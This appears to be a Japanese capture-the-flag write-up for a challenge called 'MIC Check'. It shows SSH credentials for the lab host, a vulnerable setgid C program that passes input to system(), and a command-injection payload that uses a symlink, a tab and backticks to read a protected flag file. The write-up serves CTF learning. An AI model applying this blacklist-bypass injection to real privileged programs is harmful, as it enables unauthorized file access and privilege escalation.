指定されたIPアドレス、ポートにsshで接続します。lsコマンドでファイル一覧を確認します。mic.flag.txtにフラグが書かれていると思われますが、所有者が異なるためそのままでは閲覧できません。MIC Check
Who's in here?
ssh mic@175.119.158.131 -p11133
pw : miccheck
mic@ubuntu:~$ ls -almiccheck.cを確認します。
total 44
drwxr-x--- 3 root mic 4096 Mar 13 09:51 .
drwxr-xr-x 6 root root 4096 Mar 13 01:32 ..
drwxr-xr-x 2 root root 4096 Mar 13 01:49 .bash_history
-rw-r--r-- 1 root root 220 Mar 13 01:07 .bash_logout
-rw-r--r-- 1 root root 3771 Mar 13 01:07 .bashrc
-rwxr-sr-x 1 root miccheck 8992 Mar 13 02:04 miccheck
-rw-r--r-- 1 root root 698 Mar 13 02:04 miccheck.c
-r--r----- 1 root miccheck 23 Mar 13 01:28 mic.flag.txt
-rw-r--r-- 1 root root 675 Mar 13 01:07 .profile
mic@ubuntu:~$ cat miccheck.c同じディレクトリにあるmiccheckを実行して、コマンドインジェクションによりflagファイルの内容を表示させれば良いと思われます。ただし、10文字までしか入力できませんので、文字数を省略するために、まず、書き込み権限のあるフォルダを探して1文字のファイル名でシンボリックリンクを作成します。下記では、/dev/shmフォルダにfという名前でシンボリックリンクを作成しています。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main( int argc, char *argv[], char **environ )
{
char buf[12] = { 0, };
char cmd[2048] = { 0, };
unsigned int i = 0;
char **e;
size_t len;
printf( "input path :" );
fgets( buf, 10, stdin );
for( i = 0; i <= 11; i++ ) {
if( buf[i] == '\'' ) exit(0);
if( buf[i] == '&' ) exit(0);
if( buf[i] == ';' ) exit(0);
if( buf[i] == '|' ) exit(0);
if( buf[i] == '\"' ) exit(0);
if( buf[i] == ' ' ) exit(0);
}
sprintf( cmd, "/bin/ls -al /dev/%s", buf );
for( e = environ; *e; ++e ) {
len = strlen( *e );
memset( *e, 0x00, len );
}
setregid( 1003, 1003 );
system( cmd );
return 0;
}
mic@ubuntu:/dev/shm$ ln -s /home/mic/mic.flag.txt f半角スペースが使えませんので代わりにタブを使い、バッククォートでコマンドを実行させます。
mic@ubuntu:/dev/shm$ ls -al
total 0
drwxrwxrwt 2 root root 60 Mar 14 01:14 .
drwxr-xr-x 19 root root 4320 Mar 14 01:03 ..
lrwxrwxrwx 1 mic mic 22 Mar 14 01:14 f -> /home/mic/mic.flag.txt
mic@ubuntu:/dev/shm$ /home/mic/miccheck赤文字の部分が「cat f」コマンドの結果ですので、それをつなげて、フラグは、
input path :a`cat f`
/bin/ls: cannot access /dev/alet: No such file or directory
/bin/ls: cannot access the: No such file or directory
/bin/ls: cannot access hacking: No such file or directory
/bin/ls: cannot access begins: No such file or directory
let the hacking beginsになります。